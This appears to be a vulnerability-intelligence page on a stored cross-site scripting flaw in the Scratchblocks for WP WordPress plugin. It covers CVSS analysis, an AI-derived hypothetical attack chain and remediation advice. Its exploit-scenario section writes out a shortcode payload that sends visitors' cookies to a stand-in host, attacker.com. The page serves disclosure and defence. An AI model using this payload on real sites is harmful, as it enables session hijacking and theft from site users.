Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCompromise WordPress contributor account
-
DeliveryCreate/edit post with malicious scratchblocks shortcode
-
ExploitInject XSS payload in 'element' attribute
-
InstallPublish post containing shortcode
-
C2Victim views page
-
ExecuteBrowser executes injected script
-
ImpactAttacker steals session/cookies or performs privilege escalation
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires authenticated access to WordPress with contributor-level privileges (PR:L in CVSS) - specifically the ability to create or edit posts/pages and insert shortcodes. The vulnerability is triggered when the affected plugin processes shortcodes on the 'element' attribute without sanitization or escaping, which occurs on all installations where the plugin is activated in versions 1.0.1 and earlier. No special configuration or non-default settings are required; the plugin processes the vulnerable shortcode automatically when pages containing it are rendered. The limiting factor is the authentication barrier: only users with contributor role or above (contributor, author, editor, admin) can inject the malicious shortcode. Public-facing sites without such user accounts, or sites with strictly audited contributor permissions, face reduced risk. Conversely, multisite WordPress installations with numerous contributor-level users, or sites with freelancer/contractor access, face higher real-world risk despite the authentication requirement. |
| Impact | The CVSS 6.4 score reflects moderate risk with several key contextual factors. The attack vector is network-based (AV:N) and requires low complexity (AC:L), but critically depends on prior authentication (PR:L - contributor-level minimum) and no user interaction (UI:N) beyond viewing a page. The scope is changed (S:C), meaning the vulnerability can affect confidentiality and integrity of other users' sessions or data. The EPSS, SSVC, and KEV status are not provided in the input, so the exploitation likelihood beyond the CVSS baseline cannot be independently assessed. However, Stored XSS vulnerabilities in content management systems are systematically exploited because they require minimal attacker skill once access is obtained and automatically compromise all viewers. The authentication requirement (PR:L) significantly limits the threat surface to sites with compromised or malicious contributor accounts, which is a realistic but bounded risk in multi-author WordPress installations. The absence of POC confirmation or active exploitation data does not indicate low risk - Stored XSS in WordPress plugins is routinely weaponized post-discovery. The UI:N factor means no social engineering is required; the attack is fully automated upon page view. |
| Exploit ScenarioDerived | An attacker with a compromised or malicious WordPress contributor account (e.g., hired freelancer, internal threat) creates or edits a post containing the malicious shortcode: [scratchblocks element='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>']. Due to insufficient escaping, when any user (including administrators) views the published page, the injected script executes in their browser, exfiltrating session cookies or performing account hijacking without any further user interaction required. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 12, 2026
Stored Cross-Site Scripting in Scratchblocks for WP plugin for WordPress allows authenticated contributors and above to inject arbitrary JavaScript through the 'element' attribute of the 'scratchblocks' shortcode due to insufficient input sanitization and output escaping. The vulnerability affects all versions up to 1.0.1 and enables malicious scripts to execute in the browsers of all users viewing affected pages, with cross-site scope impact.
RemediationAI
Update the Scratchblocks for WP plugin to a patched version released after 1.0.1 immediately. Check the WordPress Plugin Directory or the plugin's GitHub/official repository for the latest release that includes input sanitization via wp_kses_post() or sanitize_text_field() for the 'element' attribute and proper output escaping via esc_attr() or esc_html() depending on the context where 'element' is rendered. If an updated version is not available, deactivate and remove the plugin from production environments. As a temporary workaround pending patching, restrict contributor-level access to only trusted administrators by auditing WordPress user roles via wp-admin > Users and removing unnecessary contributor accounts. Additionally, implement Content Security Policy (CSP) headers that prohibit inline script execution (script-src 'self' only) to mitigate XSS payload execution even if injected. Be aware that CSP with 'self' may break plugin functionality if the plugin relies on inline scripts; coordinate testing before deployment. Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/cf64f1c5-257d-49b2-b626-eaa4592b8335
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in WordPress shortcode processing, specifically in the 'scratchblocks' shortcode handler that processes the 'element' attribute. WordPress shortcodes are a templating mechanism allowing users with publishing capabilities to embed dynamic content via square-bracket syntax (e.g., [scratchblocks element='value']). The plugin fails to sanitize user-supplied attribute values before storing them in the database (allowing persistence of the XSS payload) and fails to properly escape output when rendering the shortcode content. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability where untrusted input flows directly into HTML output without sanitization or contextual escaping. The CPE indicates this affects the tkc49 Scratchblocks for WP plugin across all versions through 1.0.1.
Know when Scratchblocks For Wp gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The scratchblocks for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'element' attribute of the 'scratchblocks' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-29402
GHSA-54wj-7676-6jj4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB